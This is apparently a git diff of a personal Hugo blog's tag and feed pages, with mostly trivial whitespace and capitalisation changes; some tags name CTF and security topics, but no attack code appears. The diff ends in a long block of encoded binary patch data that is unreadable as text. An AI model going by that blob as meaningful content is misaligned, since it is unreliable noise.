-3,4 +3,4 @@ Automation Jellyfin Photoprism - \ No newline at end of file + \ No newline at end of file diff --git a/tags/jinja2/index.html b/tags/jinja2/index.html index 8bcb277c..36699ad7 100644 --- a/tags/jinja2/index.html +++ b/tags/jinja2/index.html @@ -4,4 +4,4 @@ PicoCTF Python Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/jwt/index.html b/tags/jwt/index.html index 64864ab3..16f21500 100644 --- a/tags/jwt/index.html +++ b/tags/jwt/index.html @@ -8,4 +8,4 @@ JWT PicoCTF Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/kernel-modules/index.html b/tags/kernel-modules/index.html index 7c61e036..4c691a60 100644 --- a/tags/kernel-modules/index.html +++ b/tags/kernel-modules/index.html @@ -3,4 +3,4 @@ Linux Laptops Kernel Modules - \ No newline at end of file + \ No newline at end of file diff --git a/tags/lanzaboote/index.html b/tags/lanzaboote/index.html index 9f176fb2..7e40797d 100644 --- a/tags/lanzaboote/index.html +++ b/tags/lanzaboote/index.html @@ -4,4 +4,4 @@ sbctl lanzaboote Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/laptops/index.html b/tags/laptops/index.html index 33f4196e..96506c88 100644 --- a/tags/laptops/index.html +++ b/tags/laptops/index.html @@ -3,4 +3,4 @@ Linux Laptops Kernel Modules - \ No newline at end of file + \ No newline at end of file diff --git a/tags/linear-algebra/index.html b/tags/linear-algebra/index.html index a2387e4a..81f9b04b 100644 --- a/tags/linear-algebra/index.html +++ b/tags/linear-algebra/index.html @@ -2,4 +2,4 @@ Bioinformatics Linear Algebra Remainder Theorem - \ No newline at end of file + \ No newline at end of file diff --git a/tags/linux/index.html b/tags/linux/index.html index 8df0bfd0..4a7a9b18 100644 --- a/tags/linux/index.html +++ b/tags/linux/index.html @@ -3,4 +3,4 @@ Linux Laptops Kernel Modules - \ No newline at end of file + \ No newline at end of file diff --git a/tags/llm/index.html b/tags/llm/index.html index 5a1a7701..394e2085 100644 --- a/tags/llm/index.html +++ b/tags/llm/index.html @@ -2,4 +2,4 @@ AI Rant Copilot - \ No newline at end of file + \ No newline at end of file diff --git a/tags/machine-learning/index.html b/tags/machine-learning/index.html index 4e778f63..63dc7ed9 100644 --- a/tags/machine-learning/index.html +++ b/tags/machine-learning/index.html @@ -6,4 +6,4 @@ NVIDIA CUDA Rant - \ No newline at end of file + \ No newline at end of file diff --git a/tags/manim/index.html b/tags/manim/index.html index 8316d623..98bf11a1 100644 --- a/tags/manim/index.html +++ b/tags/manim/index.html @@ -11,4 +11,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/meta/index.html b/tags/meta/index.html index 35690647..2aa5719d 100644 --- a/tags/meta/index.html +++ b/tags/meta/index.html @@ -8,4 +8,4 @@ \ No newline at end of file + \ No newline at end of file diff --git a/tags/nix/index.html b/tags/nix/index.html index 8ae488f3..dde43666 100644 --- a/tags/nix/index.html +++ b/tags/nix/index.html @@ -16,4 +16,4 @@ NVIDIA CUDA Rant - \ No newline at end of file + \ No newline at end of file diff --git a/tags/nixos/index.html b/tags/nixos/index.html index 8cc4ab5b..19f2a4bf 100644 --- a/tags/nixos/index.html +++ b/tags/nixos/index.html @@ -28,4 +28,4 @@ \ No newline at end of file + \ No newline at end of file diff --git a/tags/notes/index.html b/tags/notes/index.html index f100967d..f3f0fecd 100644 --- a/tags/notes/index.html +++ b/tags/notes/index.html @@ -2,4 +2,4 @@ NixOS Notes Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/nushell/index.html b/tags/nushell/index.html index c264d2f0..2b79a8da 100644 --- a/tags/nushell/index.html +++ b/tags/nushell/index.html @@ -2,4 +2,4 @@ South Park Streaming Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/nvidia/index.html b/tags/nvidia/index.html index 91e82453..9b2a380f 100644 --- a/tags/nvidia/index.html +++ b/tags/nvidia/index.html @@ -6,4 +6,4 @@ NVIDIA CUDA Rant - \ No newline at end of file + \ No newline at end of file diff --git a/tags/path-traversal/index.html b/tags/path-traversal/index.html index a74e4c36..9a262bfd 100644 --- a/tags/path-traversal/index.html +++ b/tags/path-traversal/index.html @@ -4,4 +4,4 @@ PicoCTF Python Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/photoprism/index.html b/tags/photoprism/index.html index d901a4a1..f995d3fb 100644 --- a/tags/photoprism/index.html +++ b/tags/photoprism/index.html @@ -3,4 +3,4 @@ Automation Jellyfin Photoprism - \ No newline at end of file + \ No newline at end of file diff --git a/tags/picoctf/index.html b/tags/picoctf/index.html index 7333fe48..e82a6819 100644 --- a/tags/picoctf/index.html +++ b/tags/picoctf/index.html @@ -43,4 +43,4 @@ PicoCTF Python Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/picoctf/index.xml b/tags/picoctf/index.xml index 8f1e164c..08185852 100644 --- a/tags/picoctf/index.xml +++ b/tags/picoctf/index.xml @@ -9,7 +9,7 @@ and (most) symbols.</p>
Twosum
  • Powershell - lavafroth
    \ No newline at end of file diff --git a/tags/powershell/index.xml b/tags/powershell/index.xml index 68b4d799..ff9c2ff1 100644 --- a/tags/powershell/index.xml +++ b/tags/powershell/index.xml @@ -1,4 +1,4 @@ -Powershell on lavafrothhttps://lavafroth.is-a.dev/tags/powershell/Recent content in Powershell on lavafrothHugoen-usMon, 09 Jan 2023 10:36:35 +0530Kringlecon 2022 Writeuphttps://lavafroth.is-a.dev/post/kringlecon-2022-writeup/Mon, 09 Jan 2023 10:36:35 +0530https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/<p>This writeup is rather haphazard as I jumped around from one place to another +PowerShell on lavafrothhttps://lavafroth.is-a.dev/tags/powershell/Recent content in PowerShell on lavafrothHugoen-usMon, 09 Jan 2023 10:36:35 +0530Kringlecon 2022 Writeuphttps://lavafroth.is-a.dev/post/kringlecon-2022-writeup/Mon, 09 Jan 2023 10:36:35 +0530https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/<p>This writeup is rather haphazard as I jumped around from one place to another solving different unrelated challenges. Although the writeup covers all the challenges, it definitely is not sequential. Just wanted to point that out before diving in.</p> diff --git a/tags/python/index.html b/tags/python/index.html index 0d55b150..a639b1c4 100644 --- a/tags/python/index.html +++ b/tags/python/index.html @@ -28,4 +28,4 @@ Web \ No newline at end of file + \ No newline at end of file diff --git a/tags/quickstep/index.html b/tags/quickstep/index.html index d009d3e0..643006d0 100644 --- a/tags/quickstep/index.html +++ b/tags/quickstep/index.html @@ -3,4 +3,4 @@ /e/OS QuickSwitch QuickStep - \ No newline at end of file + \ No newline at end of file diff --git a/tags/quickswitch/index.html b/tags/quickswitch/index.html index cd319487..37e9c703 100644 --- a/tags/quickswitch/index.html +++ b/tags/quickswitch/index.html @@ -3,4 +3,4 @@ /e/OS QuickSwitch QuickStep - \ No newline at end of file + \ No newline at end of file diff --git a/tags/rant/index.html b/tags/rant/index.html index e284b6c4..f74338cd 100644 --- a/tags/rant/index.html +++ b/tags/rant/index.html @@ -15,4 +15,4 @@ Linux Laptops Kernel Modules - \ No newline at end of file + \ No newline at end of file diff --git a/tags/remainder-theorem/index.html b/tags/remainder-theorem/index.html index 6aada393..95bc4479 100644 --- a/tags/remainder-theorem/index.html +++ b/tags/remainder-theorem/index.html @@ -6,4 +6,4 @@ CTF Remainder Theorem Reverse Engineering - \ No newline at end of file + \ No newline at end of file diff --git a/tags/reverse-engieering/index.html b/tags/reverse-engieering/index.html index 421d5398..2bc488e9 100644 --- a/tags/reverse-engieering/index.html +++ b/tags/reverse-engieering/index.html @@ -1,4 +1,4 @@ Reverse Engieering - lavafroth
    \ No newline at end of file + \ No newline at end of file diff --git a/tags/reverse-engineering/index.html b/tags/reverse-engineering/index.html index 90e76356..2ad500d8 100644 --- a/tags/reverse-engineering/index.html +++ b/tags/reverse-engineering/index.html @@ -33,4 +33,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ringzer0/index.html b/tags/ringzer0/index.html index 9198df40..7742cb5e 100644 --- a/tags/ringzer0/index.html +++ b/tags/ringzer0/index.html @@ -22,4 +22,4 @@ CTF RingZer0 Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/rust/index.html b/tags/rust/index.html index c4ee2cd6..a0e2ea9c 100644 --- a/tags/rust/index.html +++ b/tags/rust/index.html @@ -57,4 +57,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/rust/page/2/index.html b/tags/rust/page/2/index.html index afa82634..be23f80d 100644 --- a/tags/rust/page/2/index.html +++ b/tags/rust/page/2/index.html @@ -31,4 +31,4 @@ Rust Visual Cryptography \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/sandbox-escape/index.html b/tags/sandbox-escape/index.html index 32021444..c2831797 100644 --- a/tags/sandbox-escape/index.html +++ b/tags/sandbox-escape/index.html @@ -22,4 +22,4 @@ Sandbox Escape \ No newline at end of file + \ No newline at end of file diff --git a/tags/sbctl/index.html b/tags/sbctl/index.html index 5f105a99..d17a8361 100644 --- a/tags/sbctl/index.html +++ b/tags/sbctl/index.html @@ -4,4 +4,4 @@ sbctl lanzaboote Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/secureboot/index.html b/tags/secureboot/index.html index 0f2393f7..131e659a 100644 --- a/tags/secureboot/index.html +++ b/tags/secureboot/index.html @@ -4,4 +4,4 @@ sbctl lanzaboote Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/south-park/index.html b/tags/south-park/index.html index 7ad0fe72..e34179c7 100644 --- a/tags/south-park/index.html +++ b/tags/south-park/index.html @@ -2,4 +2,4 @@ South Park Streaming Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/streaming/index.html b/tags/streaming/index.html index 9e8cd041..d04c6dde 100644 --- a/tags/streaming/index.html +++ b/tags/streaming/index.html @@ -2,4 +2,4 @@ South Park Streaming Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/swhkd/index.html b/tags/swhkd/index.html index 871007f5..0699048e 100644 --- a/tags/swhkd/index.html +++ b/tags/swhkd/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/swhkd/page/2/index.html b/tags/swhkd/page/2/index.html index 610dd741..3b10f641 100644 --- a/tags/swhkd/page/2/index.html +++ b/tags/swhkd/page/2/index.html @@ -15,4 +15,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/terminal/index.html b/tags/terminal/index.html index 51568cfb..573d9c18 100644 --- a/tags/terminal/index.html +++ b/tags/terminal/index.html @@ -5,4 +5,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/the-sleuth-kit/index.html b/tags/the-sleuth-kit/index.html index 88a8e4a7..8accc197 100644 --- a/tags/the-sleuth-kit/index.html +++ b/tags/the-sleuth-kit/index.html @@ -2,4 +2,4 @@ Forensics PicoCTF The Sleuth Kit - \ No newline at end of file + \ No newline at end of file diff --git a/tags/threejs/index.html b/tags/threejs/index.html index 5e1dd438..e376e348 100644 --- a/tags/threejs/index.html +++ b/tags/threejs/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/til/index.html b/tags/til/index.html index bd4bd2ad..3a337e6f 100644 --- a/tags/til/index.html +++ b/tags/til/index.html @@ -1,4 +1,4 @@ TIL - lavafroth
    \ No newline at end of file + \ No newline at end of file diff --git a/tags/troubleshooting/index.html b/tags/troubleshooting/index.html index a4d05fb7..1878f0eb 100644 --- a/tags/troubleshooting/index.html +++ b/tags/troubleshooting/index.html @@ -8,4 +8,4 @@ sbctl lanzaboote Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ui/index.html b/tags/ui/index.html index cc9e7056..eb8c8747 100644 --- a/tags/ui/index.html +++ b/tags/ui/index.html @@ -5,4 +5,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/video-editing/index.html b/tags/video-editing/index.html index 8ac3231b..d1b82917 100644 --- a/tags/video-editing/index.html +++ b/tags/video-editing/index.html @@ -4,4 +4,4 @@ Google Summer of Code Workflow Video Editing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/visual-cryptography/index.html b/tags/visual-cryptography/index.html index 5a0af495..4787795b 100644 --- a/tags/visual-cryptography/index.html +++ b/tags/visual-cryptography/index.html @@ -4,4 +4,4 @@ PicoCTF Rust Visual Cryptography - \ No newline at end of file + \ No newline at end of file diff --git a/tags/waycrate/index.html b/tags/waycrate/index.html index 8371eb69..37e8e215 100644 --- a/tags/waycrate/index.html +++ b/tags/waycrate/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/waycrate/page/2/index.html b/tags/waycrate/page/2/index.html index 49e0a474..2d03c105 100644 --- a/tags/waycrate/page/2/index.html +++ b/tags/waycrate/page/2/index.html @@ -5,4 +5,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/wayland/index.html b/tags/wayland/index.html index b23297f1..518281f3 100644 --- a/tags/wayland/index.html +++ b/tags/wayland/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/wayland/page/2/index.html b/tags/wayland/page/2/index.html index d7a53e0c..4ddba6db 100644 --- a/tags/wayland/page/2/index.html +++ b/tags/wayland/page/2/index.html @@ -15,4 +15,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/web-parsing/index.html b/tags/web-parsing/index.html index 6c8bff8e..dc0ba7b8 100644 --- a/tags/web-parsing/index.html +++ b/tags/web-parsing/index.html @@ -14,4 +14,4 @@ South Park Streaming Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/web/index.html b/tags/web/index.html index aa7a960d..1bfd8776 100644 --- a/tags/web/index.html +++ b/tags/web/index.html @@ -46,4 +46,4 @@ PicoCTF Python Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/webassembly/index.html b/tags/webassembly/index.html index bb77799b..9b9bcec9 100644 --- a/tags/webassembly/index.html +++ b/tags/webassembly/index.html @@ -3,4 +3,4 @@ Reverse Engineering Web WebAssembly - \ No newline at end of file + \ No newline at end of file diff --git a/tags/webgl/index.html b/tags/webgl/index.html index 73463eaf..aceeb376 100644 --- a/tags/webgl/index.html +++ b/tags/webgl/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/windows/index.html b/tags/windows/index.html index 96b278bc..3d14bfc5 100644 --- a/tags/windows/index.html +++ b/tags/windows/index.html @@ -1,4 +1,4 @@ Windows - lavafroth
    \ No newline at end of file + \ No newline at end of file diff --git a/tags/wireshark/index.html b/tags/wireshark/index.html index 029873db..4f33c501 100644 --- a/tags/wireshark/index.html +++ b/tags/wireshark/index.html @@ -7,4 +7,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/workflow/index.html b/tags/workflow/index.html index 25e81c9f..977a708a 100644 --- a/tags/workflow/index.html +++ b/tags/workflow/index.html @@ -27,4 +27,4 @@ \ No newline at end of file + \ No newline at end of file diff --git a/tags/youtube/index.html b/tags/youtube/index.html index 988c0b1f..b6148a42 100644 --- a/tags/youtube/index.html +++ b/tags/youtube/index.html @@ -5,4 +5,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file
  • E$HzDpoZJ@b zN%lxO-sW%?E}(Oh9lt<3YpuL%ju04qt&UOt-nvaNjqF`k`uVsnoM2AWaFjl4(R_w0 zq7c{>6J?NTkq>ayl+HkcSz}MUo9JpVMl_e08;J1{0}F?R^U5>0N8wsqBgErrF-<;&At({fODf^8(t%%X-FT8M1uia zI_Zi)nYw62pFSUtalC$TeBqgJte80`KBzvjcLLp(sd2^bDg)NAuSz(?_@#*u+b_b5 z*zv_8Q%=(V_6ffVo3qz*(~ABr&TdiW;7QJ9Gou@fMK%vwCqr@Du!R!fNnCd#ZbrX9Mg6nz&% zd7<{VJ7*GaUrK=WHoCR0%L$hS_jbYr>G|X#@3q@hX7$PV>F8iT9}khhmD_OS9RC}u!x1w{t!OiB}d+P%3iMYX*ld_OB6GQ?j44qlmvnVmIs$wbTQNSHS8Y&=Tx)1&YdIh_DYXJd zZy(+=#=MjLCR?h@=hSKlx_5y1Mk6bs4&&d2z=p)A4lWi3Gt8>ORo8f&OZd8ndfBw$M}t zJ9Jxvq=V`9!49LurLN%!TdDFxF8Bu;)jk{sEAh6ABoqBtIR2o$M>pu$Dod+R+?Qit zu8r;OC6>-I_9%JIVXXB;=+m(^{4MM*g>xI#kz-%=XIo{Amsq0Uxlozk^M6A{y_dy zD0vr^t5Nel>V89gGU}mQi7kU8#NFUMMcC?13O|@_AwnldUzjb3w$C8Dl zEN#4>Q~7BqH8mgBz>WwFe#hyzHl%Wmjh$kAS}T=7HQw^kt2l@PBL| z!=aANh32@NIbmxgvj;~yxzJiT$US0gYIyDc~NAMgLS z$iw(>$W{k(-})chakh6dY4QKq8n^uK?Kqn8z)+vP;O{UJkHFjwHV>USTzHsn3ivpeeeYk#X569b>K;_l?P(l(w^`WCR6Q)ChB=9s4 zvA12)EZJB}D~*Y?!XTDh&UhUhx9e9*eYn;YS~i(Rb0IN^M&VozR|njaNsSroNRZc8 z94uEGtMdyHM2sFJOr((eBvO9{1-Uix9NqjgBsIHN8E}|C+KEUy1<8-YTg8b6xqqPW zDilqy(UM2aZSnY0U0A7~O&Y{!TRrjx=u%Nd)`O#@3vWUogHwWB1t$p*lWH~O20MHjXP>PSRjSF;cVAfj{1ay zDD)?O!`WJ=@lp=atgU>wOf*eN;rf>kVplOtOP zJEM!uEC)ofQ|GH|2m^o621kQtyb(Ju`dKEeuC9>XIc9tQpd9EGHjOJXjxm{~UHZ!K zh|$e+yfy&x7n@n6ah}KdwDbkL$()T0+UJCT^A@w*pm{_En#%yjbk-pZXvsTlyG+NDt=Lh?i zn(8wt1k@AZPpnoas+Cf-bi~R#wGzq4Ai2F-sxp!1#JZrR}^i`r5<6_OM;6W+togedBkS!?X$K zZFxApxy_SI|1q-lw>7YfP*u>m-?FP+h{_|2jD4z!4XXejywyi6z4EyHrRy8P3a@a5I;e17nrI zF2EruzKZRzKY*Wg9cIq6;~H?skX0wGkiL+TI?^$?ONu;SNzQoQajV-#)TJEUT%l9C zROJ%s@c-YIeW++1#udjYPNx}Ux_d>oUuL5-3$Ewu?r4{?vjC5l0u0NLC|Lc4WNGaP4{9l$V)gpy?O94`g`(**kTOHrY66X&mqZMiL?{?OSQ zn>evsJf!qNiTq}9KJaw2>2eex(f_WyHZ_f|>C9A+o)XeEkW{H0?9v2ffnib20U ztQt8L)4kN2?9u{*@quw@r<;Gtc}7frfpX3U(UOQnhB_00!RAP3chAs#TA6t*Gsyoi)HHu&Zgh0Gnat@}g8tny zeL&6_{m+8Y>d?H?NH z=p7x2MH1bS`JDu1MFv}YI)-V8-Cc9%$2&$lT4pp2kItVv+S1fFGTa{z3=a)<_Vo7# zMmyTVp&8Ac^#0D_5wqGgOK7!+rEnj+R+iHWp2)6xiSjyH>gk zp}V~_5ShxNsEvGzKhmb+G3s_6rf~<2A+g2LEjop`btSF%7H1jQXOnO|`r&ihk$gI? zRd5O0GgS#?J;r;P2`?B9C%BiH_ENU7L6EY1XQl*Sp&@JKQd|YL`gl>|!>`2-kjAeMi(g$_@a# z^`q-}InozO#B}5Bi7(T;NBg)EhB5L!lPd-i9QthdWF7Iz(f(jhEV{Y$JU5A=V^XI_ zM?8l}Vd049fSgGLMob9_$H&Hb=+zb4X0d0vKsP}sUMdZDgK);+dY-A|3X>8%n;mgF z-sE%+9tx5Jh&-=k^ErZzYCqAH9;W5xFl*AX;5e9F;033YtD#B~C9lFUvsU#qs)IPc zNCnjf?tP$vMzU)gNI3oh=U);a3s;0E7!P#zg~uo8ipenpwHD~)sF70p5cjd{47Im& z2mxt7?c^nE?-V&A{&PJ5;ar{C+OPnFt@i*}JZ)GHaAxl(|Pvxrko z#e+*tR^OnQyme2KY#{x=0fp@-d`U`NApa^%d>_>(TUpD>)F;F(O2|mlm9HIbmTy@t zQd(FrT#EuS9Z9WP33A}&nux_B9>pKLgpPa28!5%#T1;B-o8r^lnG7;A5nkXF&S_@D zZ(~zTBXhZ0ZZhPWWEWz{F*TD{sSR6JNM6t36FqwN)2A61whWepog58F$wDJiWu8or ze5RAVFT|$aBqUlNkoDH(6?iF#q3GkL2bc`*P4XAX(Z0X{qb}q5Br;m_q?p{G*L?^1 zIzv%g;1=&ldv^YUaR+%Iu|x;KXS|Q>bC9z)a`rRk?YSKGDNeW>;p7DNWs+7KQS;Pd zDdY1k2OH^XOD7qZ+|zKpYjq?75;qN>**V*)aoQCf-mN!lTj z*Moe8eEQ#E6UqJ%djaybqO4Jx^XyQOWMj!aYHNw4fN;pX=~4WoZoyoz6a}|)sl~G2 zP+oxY0aR{>DpE7v*82C4HmE}1zkvy74*B0Ng7Ye_)8>4H$8R^OO#cuWeq^3#h3FW6 zR3ey4xOSG`y}HObheBv?(pvbsjTBhGPwBL4<2d+N_fp+SE$L(=twZwBNd5x35#-*0 z+4k94Nsuk`{G6 zyCCVmpToHVPV!1Tz_oRj8czI^(XaR81q;)_1+*AeCn5a-qk zF{Q1Nml!k>2{vRgkh z-=j+gRO*`J>AA>!5Lpi)dv9POu%o6-E=SRb{3iYO27{(!(swQ)HaLp5IOxkd_)b^6K+e#f}oOi{#%8Dvi)43$gR1JN0@l>SL zsaRt-@Z9DYjEu&G#}*+cP89NaRo@-d*Dxdl&RVR_SvNh zI_>>+raXw5c_HuGi`1(GUUF~3V_C(al^B#z53bOVOt*9-I&`@LyTJu3_8ke+1eY{1 z`WZ|F2Nsf~ZKPc+b9TGn-d5`4xEB$51_yXG(sU>pT^t{8c0oS|H9$>(CH)xQoY|BJ z&fl`|a7UtZbKOBnWukxA-A~trNC4zAtTLVJcRJsp`Go>~i*=={IjGoyBe?^+y*v6_Wll9VR=F{!gb!XRXdem*=agfX?|14hq`0o&ajPt z(~Bc^)dPWVD|z7D=s|k9G^u9^wKM78laX^Z{P`fg&Bq}d7jj~d?>OY2iTv}BeOZ7S+9RO3F-ruE}&h`>X%65`@{X8U>8@PWR8@p=Z{D|qaEHeqDn}+o2@Y@}Ek^{KeHI^Y0?gzPyomfz-3#OWjH| z%3XIzpGv^-gsH8#11qoPw1@Ot2tVTh@&%??F*)3h`}Z^P!2gH;&mP8d+5p@T(O3!U zEGAjI)NbZ0ylDN>evqNJ+_{ZNIuyyY1qM+#jKbqlcm@i;;;+tE2{z7P<$rk*(E&ps zx!Masi{Bp?{6ZJ7{00Si@;2>z(VECgz9~k#C6^gkP`-GPDS)g=H)Pjjong!~8FH+T z!|?^EOqnFjmRmGu<*H6aR<3S86_Rq561BOM#}kW5W4ulr7UnK^;ZDxh?Fer!jYB(bP|kB9=I}ry z^dB#9j4>G{q)gegh2`pd^)s*ENP?i;g^je-pJ~BhWVrJ$;{(xgIz=a;=$A%#JURy< z{c=n^Q0qX>LZlsqv<1k_M&=>#_gML>wk+;DUMu1RWpS>CUy6GfFU}53MU7mky>Z2V zEY|yqdKb?9i0v)gvL-JVoq%Is+aE??!KZNj&HAG7zL7*nbi_`5uVbPgN%SQ8BBp6G z&oY?k;zg+^UU(Y`0`9)F)W`^yMpDV&uCb7kO_xg;vlcL2iSFLPo`A0WmOPhFCd}?A z=|D+{R+ON!EkqEvWg3U|Iubn#$B8m?Ng33sph>EqbodrIOt||yH-JwhdZrLQ7$1l= z4^2%>>1v8}PO-TnVZ~(m2W-$Lh2Gf{=(hp+Bc;O22EE4}x5M=`TrY5xQ|X5&Ye3l^ zCZgtOGgr8Q!VFm zZcDheT1Jcc3>>?07@^}u%SEoCOtrnbnrpWnB2;sMq&GbP=ku1Eop{@*Yq`l?p;Y8~ z8_rYUT+a}7lI2+@g&nWtOw=WEn*Q;-W;Scl?|@!{gJ%@ z*;gWG2svZO-3qy3py+KBm!o(W zlxCrHdz9Xf(sxk$Im*gWUWJO=QF#%n=A$|vHBX^-ThuK;-501YK>aM#ccT7&G!&v? zHX3@-a2Y{Um1kI4OQjJ1ncR2M`5l~p!ZqFUjqTG2|MlFuRkf4gzF4|WtYIj`xhMJW z;VOh{7SplY5BD6n*T7BW@fkb^!gDx0aU=mrmmuj|B>#n!RYs2(Ltu@S zH&#J{iJP*Lv^`vKt3mD%?)+A|!8EBA>T*8Hba@umY|l;2JO?5ClP#a~$c>Y61CX zuTXcY7ez1FPXO0AoT>7F{po9vAxn^{<2$J{e3|YlqK+jO%?-pr_*=AyC?f6Y z6_OJ?iETM2r;42t&Zppd3hqw030!DdtqX%?NI8C@@^TVOaLtD6UATT0Q!q>$o-~0) z(%_l1O%f(3AjSpwTGvQfzBAN0GOi;C@_=(04T}3hxyVtv5$+S<{zLbGXXgJqIblgw z5pDYU`%D(2;CN}O^|T0`L@YjUFlu*7y^2%|I`;m_XK_qKBYQVV1c%1jtO?q2zYCG$ zacYg_;EJfKmaIeP*d%^;&@W&FDIF3HkQngyGBN=!BNwu5R%j#qGmHLr4 zYd&)c#}w&Ev8#yggT&(>l?n;VMY%mi8mL|(rRVOGs?kNV^=gHzr;_>w=izW(59f=P zdyGJAZ@QYOCer}6B^SrxH0ficU2$BUOmgo`+JzUZ%hVm}VfD0nNxjQ*P*c!0aO^28 z?GQ-@SS1s?OF|lQMYXQsHW!@ZM*DUj@sR7jVPjGya--!LD-{XRsG8|ZFH*~iUOA5A zUYhRr+#W1RV$rveK4G*s=SnKjQkmlUEPT1c>r>2K9N!S+#_~ShN*bF;n~b9mME1&;tC2~ya&SO0ZKot+Z*|0aTS&?G zp80Qm?S#qAqJ?JJtFxibEVP0_&W+zEz z#A$FmAVboh;X{cJ`cZhv1S?~#h`0M>BF@8TQ*_cYu2t(vXk1F_*U+Ey=$C@GXD z=x;#7pJgxPAvQA!%38)`7n~$}op|FX!WaV*iqt3hro@}*CTNK33n>oKDc*+`yja6g^@=^$2bjcf)h8ueIeX;!jnp- zJUrXNvl~2n!!sM6C_E>_vk0D3;W-1I4e*=?&sFejg6Af9ZiDA8cpiY~4S3##=X-d5 zN0J*!ek7fZq^pp0KayTRatz5MNM3>DbCG;4l7E3W72fUPodfSEyep*j$ldTh1n&#* zz6tO5NJ&LX9#RUBQi+tUk+MBf4oAvSNa;XI6e$U$9FLSmNLhlE3z4!BDVvaT8&W<( z%4bOV1E~(ArXw{EspRo1M(Q-AZjaRckUATwMT0B(jns>gdKpr0Me5^7eFCX3 zB9(BB_mKKEQvXC+Ez-6@+Tmg^_af~Aq}_nDyO8!H(tbsHInwKpzAw^`L3$t3V@N+4 z=_`=F2I=P^{W7Fqjr9AF{u6h*Y_b*9EW&`H4um=ust2kUDh{;(WaO&Tpw0s! z$LbQOO;EQ(-3Rpq$ZRM56HXu>C;}>gDZq4KCa?prGq4YEB+w3Y1N}f8m=Bx)EC3b* z7XnuR*8(>J_W=(BF9NRuZvyWCU!yPwg%eR&j=~lcwxRGQ6yAp-FN$(ev^$FSLeZfp z3ZZBtimpP@O(?n>MGvCrNff<`qIXdAK8l-BJPpM=q4+cu--zNnQT!w(?v9Cjq2y+i z+=-HVQ1T>7o<+&4D0u@VAE4xGl>CfR2TFm`a+FR+=`@t?fYRMjx)(|hM(Lp_4Wl%I z(s?LNpmYIBH=*=ils~563fU;Lm_72KEL)q6T`vqmcqwF7)`%z8?`*tWl0Og0E{8*HS zP~MO7QIwyE@{K6J7Uj2~{85xY4YDjN8c;DA70syF5f!_jVoy};hl&GHaR@4oL`4J@ zQB;he;&@b?gbE84%TTcj73)!P7Ah`9#Wkq71r-mX;&D{GfQna9@eV3JK*gu1_!5;K zR2HDJ5S2}+oQBG6QMm&u_ebSHs5}Ohgb{S2axN<4s2oA%d{mx@%0;MLhRO}7ycU(W zqVgG3zKqJ(QTYxkKSt&EsQd+$f1oN2RX$V|psE;E)u`GYRlB3=a8wTy&(jjHER^$M!qK-Gt+`VLh;quPV&R8(i6x*XLtsIEtKGpeVe zdK*-4hw6h+9Y%Eo)q|)$9@QtIdI73eq52e5uSfOesJ;c&ub}!3RR4h*7iv;bGZ8hd zsF{J9Ij9MurVBN_sF{zN1*o|kHCLkMTGZTynm17MDQdnz%~z=T4mH1{)`?m#YO_$A zgW6KmR-tw))Hb7bCTe#;?arv(6SW7R_Au1WL2U@N^HBQ+YTrTaN2nt}W)|x9MBRa? zI}CO6P-mfTE$U83-C3wR2X*J6?jqD}MBPoOyA^eJqwX=(J%_p%QTGPwK1AJ@sQU(W z-=ppi)O%5%hWb3zH=%wC>i0qY!Kgn1^&!;9QNIE8m!bYK)PIZmztP}F!wfVWf`${& za55TBL&KS9xC9Nia0z`ED*i&1?L5+W4{PWj{%!oFuW(wT4Uv zO*5RWVp|YA61R(>FNSlS*td5HNcb4rrmQf(OpZX&lRa=XS-!Iz&v5)rA-R$cP=^xI z*P*(|x=WCfwp@*=4W#DX#$i0#4k;68XQ~)q`-nmo6P)HmI2K3%0a+tAiM9Wb)SM&B z{w-F{9AAn`sTEz_>AVcidQt8VfHTUWTFxt^Bs>{qcXDK)^LaSmW%sM|SGdyQBJ{LI zDu>U5>ltyCzX#WcaD4%{6YeCqbKxc@ODWvdaPJ8BE^r?J_u+5{$u$S}N=6vncftK8 z-0#Bu4LnYG>fxCN&yMiy0nah;bii{0JPY7C2cApext+V+c%FghC3s$g=WTdCMN%q~ 